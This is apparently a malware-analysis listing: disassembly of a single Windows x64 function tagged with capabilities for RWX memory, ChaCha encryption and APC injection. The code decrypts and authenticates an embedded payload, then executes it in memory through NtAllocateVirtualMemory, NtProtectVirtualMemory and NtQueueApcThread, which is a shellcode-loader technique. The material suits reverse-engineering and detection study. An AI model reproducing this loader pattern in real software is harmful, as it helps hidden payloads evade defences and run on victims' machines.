Function at 0x1400022da
Capabilities:
Allocate or change rwx memory
Encrypt data using salsa20 or chacha
Inject apc

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb18
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xa80], xmm13
movaps xmmword [rbp + 0xa70], xmm12
movaps xmmword [rbp + 0xa60], xmm11
movaps xmmword [rbp + 0xa50], xmm10
movaps xmmword [rbp + 0xa40], xmm9
movdqa xmmword [rbp + 0xa30], xmm8
movaps xmmword [rbp + 0xa20], xmm7
movaps xmmword [rbp + 0xa10], xmm6
and rsp, 0xffffffffffffffe0
lea rsi, [rsp + 0x60]
mov qword [rsi], 1
xorps xmm0, xmm0
movups xmmword [rsi + 8], xmm0
push 1
pop rax
xor edi, edi
lea r14, [0x1400187f0]
xor ebx, ebx
cmp rdi, 0x124
je 0x140002398
mov r15b, byte [rdi + r14]
cmp rbx, qword [rsp + 0x68]
jne 0x140002382
mov rcx, rsi
mov rdx, rbx
call fcn.140003ea3
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x70]
mov byte [rax + rbx], r15b
mov rbx, qword [rsp + 0x70]
inc rbx
mov qword [rsp + 0x70], rbx
inc rdi
jmp 0x140002359
movabs rax, 0xbec310f9ff8fa00b
mov qword [rsp + 0xf4], rax
mov dword [rsp + 0xfc], 0x266647e0
movaps xmm0, xmmword [0x140018420]
movups xmmword [rsp + 0x200], xmm0
movdqa xmm0, xmmword [0x140018430]
movdqu xmmword [rsp + 0x210], xmm0
mov rsi, qword [rsp + 0x60]
mov rcx, rbx
call fcn.140004052
mov r12, rax
mov qword [rsp + 0xd8], rdx
mov rcx, rax
mov rdx, rsi
mov r8, rbx
call fcn.1400095a0
cmp rbx, 0x10
jb 0x14000353d
lea r15, [rbx - 0x10]
lea r13, [r12 + rbx]
add r13, 0xfffffffffffffff0
lea rdx, [rsp + 0x4f0]
pxor xmm0, xmm0
movdqa xmmword [rdx + 0x20], xmm0
movdqa xmmword [rdx + 0x10], xmm0
movdqa xmmword [rdx], xmm0
lea rax, [rsp + 0x220]
lea rcx, [rsp + 0x200]
lea r9, [rsp + 0x180]
mov qword [r9], rcx
mov qword [r9 + 8], 0x20
mov qword [r9 + 0x10], rax
and qword [r9 + 0x18], 0
movdqu xmm0, xmmword [str.expand_32_byte_k_6]
movdqa xmmword [rdx - 0x10], xmm0
mov qword [r9 + 0x20], 4
lea r8, [rsp + 0x510]
lea rsi, [rsp + 0x720]
mov rcx, rsi
call fcn.14000139e
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
cmp r8, r9
jae 0x1400024b3
cmp rdx, 4
jne 0x14000354d
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x140002497
lea rax, [rsp + 0x100]
lea rcx, [rsp + 0xf4]
lea r9, [rsp + 0x450]
mov qword [r9], rcx
mov qword [r9 + 8], 0xc
mov qword [r9 + 0x10], rax
and qword [r9 + 0x18], 0
mov qword [r9 + 0x20], 4
lea rdx, [rsp + 0x514]
lea r8, [rsp + 0x520]
lea rsi, [rsp + 0x720]
mov rcx, rsi
call fcn.14000139e
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
cmp r8, r9
jae 0x140002536
cmp rdx, 4
jne 0x14000354d
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x14000251a
mov al, byte [section..data]
cmp al, 0xff
jne 0x14000260b
lea rsi, [rsp + 0x80]
mov rcx, rsi
call fcn.140004182
lea rdi, [rsp + 0x720]
mov rcx, rdi
call fcn.1400041a4
mov esi, dword [rsi + 8]
mov edi, dword [rdi + 4]
lea rcx, [0x140018a71]
lea rdx, [0x140018a74]
call fcn.1400054cf
mov r14d, esi
not r14d
test al, al
je 0x14000259c
test r14d, 0xc000000
jne 0x1400025f5
call fcn.1400013fe
and eax, 2
shr eax, 1
jmp 0x1400025f7
lea rcx, [0x140018a71]
mov rdx, rcx
call fcn.1400054cf
test al, al
je 0x1400025c3
test r14d, 0xc000000
jne 0x1400025f5
call fcn.1400013fe
not eax
test al, 6
jmp 0x1400025f0
lea rcx, [0x140018a71]
lea rdx, [0x140018a77]
call fcn.1400054cf
mov ecx, eax
mov al, 1
test cl, cl
je 0x1400025f7
test r14d, 0xc000000
jne 0x1400025f5
call fcn.1400013fe
not eax
test al, 0xe6
sete al
jmp 0x1400025f7
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [section..data], sil
movaps xmm0, xmmword [rsp + 0x4e0]
movaps xmm1, xmmword [rsp + 0x4f0]
movaps xmm2, xmmword [rsp + 0x500]
movaps xmm3, xmmword [rsp + 0x510]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x720], xmm0
movaps xmmword [rsp + 0x730], xmm0
movaps xmmword [rsp + 0x740], xmm0
movaps xmmword [rsp + 0x750], xmm0
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmm3, xmmword [rsp + 0xa0]
movaps xmm4, xmmword [rsp + 0xb0]
lea rcx, [rsp + 0x450]
movaps xmmword [rcx + 0x30], xmm4
movaps xmmword [rcx + 0x20], xmm3
movaps xmmword [rcx + 0x10], xmm2
movaps xmmword [rcx], xmm1
movaps xmmword [rcx + 0x70], xmm0
movaps xmmword [rcx + 0x60], xmm0
movaps xmmword [rcx + 0x50], xmm0
movaps xmmword [rcx + 0x40], xmm0
mov byte [rcx + 0x80], 0
lea rdx, [rsp + 0x120]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm0
push 0x20
pop r8
call fcn.14000140b
mov al, byte [0x140023001]
cmp al, 0xff
mov qword [rsp + 0xe8], r15
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xd0], r13
je 0x140002da8
cmp al, 1
jne 0x140002e75
lea rsi, [rsp + 0x720]
lea rdx, [rsp + 0x120]
mov rcx, rsi
call fcn.1400074cf
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
movaps xmm0, xmmword [rsi + 0x20]
movaps xmm1, xmmword [rsi + 0x30]
lea rdx, [rsp + 0x180]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm1
movaps xmm0, xmmword [rsi + 0x40]
movaps xmmword [rdx + 0x20], xmm0
movaps xmm0, xmmword [rsi + 0x50]
movaps xmmword [rdx + 0x30], xmm0
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov r8, rdx
call fcn.1400055e6
movaps xmm10, xmmword [rsi]
movaps xmm11, xmmword [rsi + 0x10]
movaps xmm8, xmmword [rsi + 0x20]
movaps xmm9, xmmword [rsi + 0x30]
mov eax, 0x3ffffff
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x400]
push 0xffffffffffffffff
pop rdx
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, rdi
call fcn.140005b69
lea rdx, [rsp + 0x380]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea rsi, [rsp + 0x3e0]
mov rcx, rsi
mov r8, rdi
call fcn.140005e09
push 0x1a
pop r8
mov qword [rsp + 0x20], r8
lea rdi, [rsp + 0x420]
push 0x40
pop rdx
mov rcx, rdi
mov r9, r8
call fcn.140005b69
lea rdx, [rsp + 0x3a0]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea r15, [rsp + 0x3c0]
mov rcx, r15
mov r8, rdi
call fcn.14000754d
lea rdi, [rsp + 0x2e0]
mov rcx, rdi
mov rdx, r15
call fcn.140005e1a
lea r14, [rsp + 0x720]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.140005bba
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
lea r12, [rsp + 0x1c0]
movaps xmmword [r12 + 0x10], xmm11
movaps xmmword [r12], xmm10
lea r14, [rsp + 0x300]
mov rcx, r14
mov rdx, r12
call fcn.14000744e
lea rsi, [rsp + 0x1e0]
mov rcx, rsi
mov rdx, r14
call fcn.140005e1a
lea rdx, [rsp + 0x320]
movaps xmmword [rdx + 0x10], xmm9
movaps xmmword [rdx], xmm8
lea rcx, [rsp + 0x720]
mov r8, rsi
call fcn.140005bba
or qword [rsp + 0x20], 0xffffffffffffffff
lea r13, [rsp + 0x140]
mov edx, 0x3ffffff
mov rcx, r13
push 0xffffffffffffffff
pop r8
mov r9, r8
call fcn.140005b69
lea rsi, [rsp + 0x340]
movaps xmmword [rsi + 0x10], xmm11
movaps xmmword [rsi], xmm10
lea rdi, [rsp + 0x740]
mov rcx, rdi
mov rdx, rsi
mov r8, r13
call fcn.140005e09
movaps xmm8, xmmword [rdi - 0x20]
movaps xmm9, xmmword [rdi - 0x10]
movaps xmm10, xmmword [rdi]
movaps xmm11, xmmword [rdi + 0x10]
push 0x1a
pop rax
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x3e0]
mov rcx, rdi
push 0x40
pop rdx
mov r8, rdx
mov r9, rdx
call fcn.140005b69
movaps xmmword [r15 + 0x10], xmm9
movaps xmmword [r15], xmm8
lea r15, [rsp + 0x720]
lea rdx, [rsp + 0x3c0]
mov rcx, r15
mov r8, rdi
call fcn.14000754d
movaps xmm12, xmmword [r15]
movaps xmm13, xmmword [r15 + 0x10]
lea rax, [rsp + 0x2e0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
movaps xmmword [r12 + 0x10], xmm13
movaps xmmword [r12], xmm12
lea r15, [rsp + 0x320]
lea rdx, [rsp + 0x2e0]
lea r8, [rsp + 0x1c0]
mov rcx, r15
call fcn.140005bba
movaps xmmword [r14 + 0x10], xmm13
movaps xmmword [r14], xmm12
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x300]
mov rcx, rdi
call fcn.14000755e
lea r14, [rsp + 0x720]
mov rcx, r14
mov rdx, r15
mov r8, rdi
call fcn.140005bba
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
mov r13d, 0x3ffffff
mov qword [rsp + 0x20], r13
xor r12d, r12d
lea r14, [rsp + 0x140]
mov rcx, r14
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call fcn.140005b69
movaps xmmword [rsi + 0x10], xmm9
movaps xmmword [rsi], xmm8
lea rsi, [rsp + 0x720]
lea rdi, [rsp + 0x340]
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call fcn.140005e09
movaps xmm8, xmmword [rsi]
movaps xmm9, xmmword [rsi + 0x10]
mov qword [rsp + 0x20], r13
lea r14, [rsp + 0x400]
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, r14
push 0xffffffffffffffff
pop rdx
call fcn.140005b69
lea rax, [rsp + 0x380]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea rsi, [rsp + 0x3e0]
lea rdx, [rsp + 0x380]
mov rcx, rsi
mov r8, r14
call fcn.140005e09
push 0x1a
pop r8
mov qword [rsp + 0x20], r8
lea r14, [rsp + 0x420]
mov rcx, r14
push 0x40
pop rdx
mov r9, r8
call fcn.140005b69
lea rax, [rsp + 0x3a0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea r13, [rsp + 0x3c0]
lea rdx, [rsp + 0x3a0]
mov rcx, r13
mov r8, r14
call fcn.14000754d
lea r14, [rsp + 0x2e0]
mov rcx, r14
mov rdx, r13
call fcn.140005e1a
lea r13, [rsp + 0x720]
mov rcx, r13
mov rdx, rsi
mov r8, r14
call fcn.140005bba
movaps xmm10, xmmword [r13]
movaps xmm11, xmmword [r13 + 0x10]
lea rax, [rsp + 0x1c0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea rsi, [rsp + 0x300]
lea rdx, [rsp + 0x1c0]
mov rcx, rsi
call fcn.14000744e
lea r14, [rsp + 0x1e0]
mov rcx, r14
mov rdx, rsi
call fcn.140005e1a
movaps xmmword [r15 + 0x10], xmm9
movaps xmmword [r15], xmm8
lea rcx, [rsp + 0x720]
lea rdx, [rsp + 0x320]
mov r8, r14
call fcn.140005bba
or qword [rsp + 0x20], 0xffffffffffffffff
lea r15, [rsp + 0x140]
mov edx, 0x3ffffff
mov rcx, r15
push 0xffffffffffffffff
pop r8
mov r9, r8
call fcn.140005b69
movaps xmmword [rdi + 0x10], xmm11
movaps xmmword [rdi], xmm10
lea rdi, [rsp + 0x740]
lea rdx, [rsp + 0x340]
mov rcx, rdi
mov r8, r15
call fcn.140005e09
movdqa xmm8, xmmword [rdi - 0x20]
movaps xmm9, xmmword [rdi - 0x10]
movaps xmm10, xmmword [rdi]
movaps xmm11, xmmword [rdi + 0x10]
push 2
pop r14
mov dword [rsp + 0x38], r14d
push 4
pop rdi
mov dword [rsp + 0x30], edi
push 6
pop r15
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea r13, [rsp + 0x320]
mov rcx, r13
xor edx, edx
mov r8d, r15d
mov r9d, edi
call fcn.140005575
movaps xmmword [rsi + 0x10], xmm11
movaps xmmword [rsi], xmm10
lea rsi, [rsp + 0x140]
lea rdx, [rsp + 0x300]
mov rcx, rsi
mov r8, r13
call fcn.1400055b5
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea r13, [rsp + 0x340]
mov rcx, r13
xor edx, edx
mov r8d, r15d
mov r9d, edi
call fcn.140005575
lea rax, [rsp + 0x1e0]
movaps xmmword [rax + 0x10], xmm9
movdqa xmmword [rax], xmm8
lea rdi, [rsp + 0x720]
lea rdx, [rsp + 0x1e0]
mov rcx, rdi
mov r8, r13
call fcn.1400055b5
lea r14, [rsp + 0x1c0]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.14000756f
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140007310
lea rcx, [rsp + 0x140]
call fcn.1400054fd
cmp r12, 0x40
je 0x140002c99
movdqu xmm0, xmmword [rsp + 0x140]
movdqu xmmword [rsp + r12 + 0x720], xmm0
add r12, 0x10
jmp 0x140002c7a
movaps xmm0, xmmword [rsp + 0x180]
movaps xmm1, xmmword [rsp + 0x190]
movaps xmm2, xmmword [rsp + 0x1a0]
movaps xmm3, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmmword [rsp + 0x2b0], xmm1
movaps xmmword [rsp + 0x2c0], xmm2
movaps xmmword [rsp + 0x2d0], xmm3
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmm2, xmmword [rsp + 0xa0]
movaps xmm3, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x280], xmm2
movaps xmmword [rsp + 0x290], xmm3
lea rdx, [rsp + 0x720]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x250], xmm3
movaps xmmword [rsp + 0x240], xmm2
movaps xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x220], xmm0
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x110], eax
movups xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x100], xmm0
lea rcx, [rsp + 0x4e0]
mov r8d, 0x108
call fcn.1400095a0
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rsp + 0x8f]
mov qword [rsp + 0x16f], rax
xor edi, edi
jmp 0x140002f06
lea rsi, [rsp + 0x4e0]
mov rcx, rsi
call fcn.140004182
lea rdi, [rsp + 0x720]
mov rcx, rdi
call fcn.1400041a4
mov esi, dword [rsi + 8]
mov edi, dword [rdi + 4]
lea rcx, [0x140018a71]
lea rdx, [0x140018a74]
call fcn.1400054cf
test al, al
je 0x140002dfc
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140002e59
call fcn.1400013fe
and eax, 2
shr eax, 1
jmp 0x140002e5b
lea rcx, [0x140018a71]
mov rdx, rcx
call fcn.1400054cf
test al, al
je 0x140002e25
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140002e59
call fcn.1400013fe
not eax
test al, 6
jmp 0x140002e54
lea rcx, [0x140018a71]
lea rdx, [0x140018a77]
call fcn.1400054cf
mov ecx, eax
mov al, 1
test cl, cl
je 0x140002e5b
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140002e59
call fcn.1400013fe
not eax
test al, 0xe6
sete al
jmp 0x140002e5b
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [0x140023001], sil
jne 0x140002702
xorps xmm0, xmm0
and dword [rsp + 0x110], 0
movaps xmmword [rsp + 0x100], xmm0
mov eax, 0x3ffffff
and eax, dword [rsp + 0x120]
mov dword [rsp + 0x7c], eax
mov r14d, dword [rsp + 0x123]
mov r15d, dword [rsp + 0x126]
shr r14d, 2
and r14d, 0x3ffff03
shr r15d, 4
and r15d, 0x3ffc0ff
mov r13d, dword [rsp + 0x129]
shr r13d, 6
and r13d, 0x3f03fff
mov r12d, dword [rsp + 0x12c]
shr r12d, 8
and r12d, 0xfffff
movdqa xmm8, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x370], xmm8
mov dil, byte [rsp + 0x370]
psrldq xmm8, 1
mov eax, dword [rsp + 0x110]
lea rsi, [rsp + 0x758]
mov dword [rsi - 4], eax
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rsi - 0x14], xmm0
lea rdx, [rsp + 0x4e0]
mov r8d, 0x108
mov rcx, rsi
call fcn.1400095a0
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmm1, xmmword [rsp + 0x2b0]
movaps xmm2, xmmword [rsp + 0x2c0]
movaps xmm3, xmmword [rsp + 0x2d0]
movaps xmmword [rsi + 0x128], xmm0
movaps xmmword [rsi + 0x138], xmm1
movaps xmmword [rsi + 0x148], xmm2
movaps xmmword [rsi + 0x158], xmm3
movaps xmm0, xmmword [rsp + 0x260]
movaps xmm1, xmmword [rsp + 0x270]
movaps xmm2, xmmword [rsp + 0x280]
movaps xmm3, xmmword [rsp + 0x290]
movaps xmmword [rsi + 0x168], xmm0
movaps xmmword [rsi + 0x178], xmm1
movaps xmmword [rsi + 0x188], xmm2
movaps xmmword [rsi + 0x198], xmm3
movaps xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
movaps xmm2, xmmword [rsp + 0x240]
movaps xmm3, xmmword [rsp + 0x250]
movaps xmmword [rsi + 0x1a8], xmm0
movaps xmmword [rsi + 0x1b8], xmm1
movaps xmmword [rsi + 0x1c8], xmm2
movaps xmmword [rsi + 0x1d8], xmm3
mov rax, qword [rsp + 0x16f]
mov qword [rsi + 0x200], rax
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rsi + 0x1f1], xmm0
mov byte [rsi - 0x38], dil
movdqa xmmword [rsp + 0x360], xmm8
movq qword [rsi - 0x37], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsi - 0x2f], xmm0
pextrw eax, xmm8, 6
mov word [rsi - 0x2b], ax
mov al, byte [rsp + 0x36e]
mov byte [rsi - 0x29], al
mov eax, dword [rsp + 0x7c]
mov dword [rsi - 0x28], eax
mov dword [rsi - 0x24], r14d
mov dword [rsi - 0x20], r15d
mov dword [rsi - 0x1c], r13d
mov dword [rsi - 0x18], r12d
movaps xmmword [rsi + 0x108], xmm6
movaps xmmword [rsi + 0x118], xmm7
and qword [rsi + 0x1e8], 0
xor edi, edi
mov byte [rsi + 0x1f0], dil
lea rcx, [rsp + 0x120]
push 0x20
pop rdx
call fcn.140008ab4
lea rdx, [rsp + 0x450]
mov dword [rdx + 0x30], 1
mov byte [rdx + 0x80], dil
lea r13, [rsp + 0x960]
mov r8d, 0x84
mov rcx, r13
call fcn.1400095a0
movabs rax, 0x3fffffffbf
mov r14, qword [rsp + 0xe8]
cmp r14, rax
mov r12, qword [rsp + 0xe0]
ja 0x140003357
lea rdx, [0x140018960]
lea rsi, [rsp + 0x720]
mov rcx, rsi
xor r8d, r8d
call fcn.140001000
mov rcx, rsi
mov rdx, r12
mov r8, r14
call fcn.140001000
lea rdi, [rsp + 0x450]
mov rcx, rdi
call fcn.1400054fd
and qword [rdi], 0
mov qword [rdi + 8], r14
mov rax, qword [rdi]
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x4e0]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
push 1
pop r8
mov rcx, rsi
call fcn.140001062
lea rcx, [rsp + 0x4e0]
mov r8d, 0x240
mov rdx, rsi
call fcn.1400095a0
mov al, byte [0x140023001]
cmp al, 1
jne 0x140003170
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x4e0]
call fcn.140005e28
jmp 0x1400032fd
mov esi, dword [rsp + 0x508]
mov eax, esi
shr eax, 0x1a
mov edx, 0x3ffffff
and esi, edx
add eax, dword [rsp + 0x50c]
mov ecx, eax
shr ecx, 0x1a
and eax, edx
add ecx, dword [rsp + 0x510]
mov r9d, ecx
shr r9d, 0x1a
add r9d, dword [rsp + 0x514]
and ecx, edx
mov r10d, r9d
shr r10d, 0x1a
mov r8d, r9d
and r8d, edx
lea r11d, [r10 + r10*4]
add r11d, dword [rsp + 0x504]
mov r10d, r11d
shr r10d, 0x1a
add r10d, esi
and r11d, edx
lea r14d, [r11 + 5]
mov esi, r14d
shr esi, 0x1a
add esi, r10d
mov edi, esi
shr edi, 0x1a
add edi, eax
mov r12d, edi
shr r12d, 0x1a
add r12d, ecx
mov r13d, r12d
shr r13d, 0x1a
lea r15d, [r8 + r13]
add r15d, 0xfc000000
add r13d, r8d
mov r8d, r15d
sar r8d, 0x1f
shr r15d, 0x1f
dec r15d
and edx, r15d
and r14d, edx
and esi, edx
and edi, edx
and edx, r12d
and r15d, r13d
lea r13, [rsp + 0x960]
and r11d, r8d
or r11d, r14d
and r10d, r8d
or r10d, esi
and eax, r8d
or eax, edi
and ecx, r8d
or ecx, edx
and r8d, r9d
or r8d, r15d
mov edi, r10d
shl edi, 0x1a
or edi, r11d
shr r10d, 6
mov edx, eax
shl edx, 0x14
or edx, r10d
shr eax, 0xc
mov r9d, ecx
shl r9d, 0xe
or r9d, eax
shr ecx, 0x12
shl r8d, 8
or r8d, ecx
add edi, dword [rsp + 0x4e0]
mov r14d, dword [rsp + 0x4e4]
mov eax, dword [rsp + 0x4e8]
adc r14, rdx
add rax, r9
mov r15, r14
shr r15, 0x20
add r8d, dword [rsp + 0x4ec]
add r15, rax
mov r12, r15
shr r12, 0x20
add r12d, r8d
lea rsi, [rsp + 0x450]
mov rcx, rsi
call fcn.1400054fd
mov dword [rsi], edi
mov dword [rsi + 4], r14d
mov dword [rsi + 8], r15d
mov r14, qword [rsp + 0xe8]
mov dword [rsi + 0xc], r12d
mov r12, qword [rsp + 0xe0]
mov eax, dword [rsi]
mov dword [rsp + 0x80], eax
mov eax, dword [rsi + 4]
mov dword [rsp + 0x84], eax
mov eax, dword [rsi + 8]
mov dword [rsp + 0x88], eax
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0x8c], eax
mov r15, qword [rsp + 0xd0]
mov sil, 1
xor eax, eax
cmp rax, 0x10
je 0x140003337
lea rdi, [rax + 1]
mov dl, byte [r15 + rax]
xor dl, byte [rsp + rax + 0x80]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.140008aa9
and sil, al
mov rax, rdi
jmp 0x14000330a
mov ecx, esi
call fcn.140008aa9
test al, al
je 0x140003355
mov rcx, r13
mov rdx, r12
mov r8, r14
call fcn.14000140b
mov dil, 1
jmp 0x140003357
xor edi, edi
lea rsi, [rsp + 0x9a0]
push 0x40
pop rdx
mov rcx, rsi
call fcn.140008ab4
mov byte [rsi + 0x40], 0
mov eax, 0x90
cmp rax, 0xa0
je 0x14000338b
mov dword [rsp + rax*4 + 0x720], 0
inc rax
jmp 0x140003373
test dil, dil
je 0x14000353d
cmp rbx, 0x10
cmovb r14, rbx
lea rcx, [rsp + 0x200]
push 0x20
pop rdx
call fcn.140008ab4
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.14000403e
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], r14
mov rcx, r14
call fcn.140004052
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r12
mov r8, r14
call fcn.1400095a0
lea rdx, [rsp + 0x80]
and qword [rdx], 0
lea r9, [rsp + 0x450]
mov qword [r9], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
push 0xffffffffffffffff
pop rcx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x140003536
and qword [rsp + 0x4e0], 0
mov qword [rsp + 0x720], r14
mov rdx, qword [rsp + 0x80]
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0x20], rax
push 0xffffffffffffffff
pop rcx
mov r8, rdi
mov r9, r14
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x140003536
mov dword [rsp + 0x180], 4
lea rax, [rsp + 0x180]
mov qword [rsp + 0x20], rax
push 0xffffffffffffffff
pop rcx
lea rdx, [rsp + 0x80]
lea r8, [rsp + 0x720]
push 0x40
pop r9
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x140003536
mov rdx, qword [rsp + 0x80]
and qword [rsp + 0x20], 0
push 0xfffffffffffffffe
pop rcx
mov r8, rdx
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtQueueApcThread]
test eax, eax
js 0x140003536
call qword [sym.imp.ntdll.dll_NtTestAlert]
mov rcx, rdi
mov rdx, rbx
call fcn.14000403e
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.14000403e
movaps xmm6, xmmword [rbp + 0xa10]
movaps xmm7, xmmword [rbp + 0xa20]
movaps xmm8, xmmword [rbp + 0xa30]
movaps xmm9, xmmword [rbp + 0xa40]
movaps xmm10, xmmword [rbp + 0xa50]
movaps xmm11, xmmword [rbp + 0xa60]
movaps xmm12, xmmword [rbp + 0xa70]
movaps xmm13, xmmword [rbp + 0xa80]
lea rsp, [rbp + 0xa98]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1400089ff
ud2
mov rcx, r12
mov rdx, qword [rsp + 0xd8]
call fcn.14000403e
ud2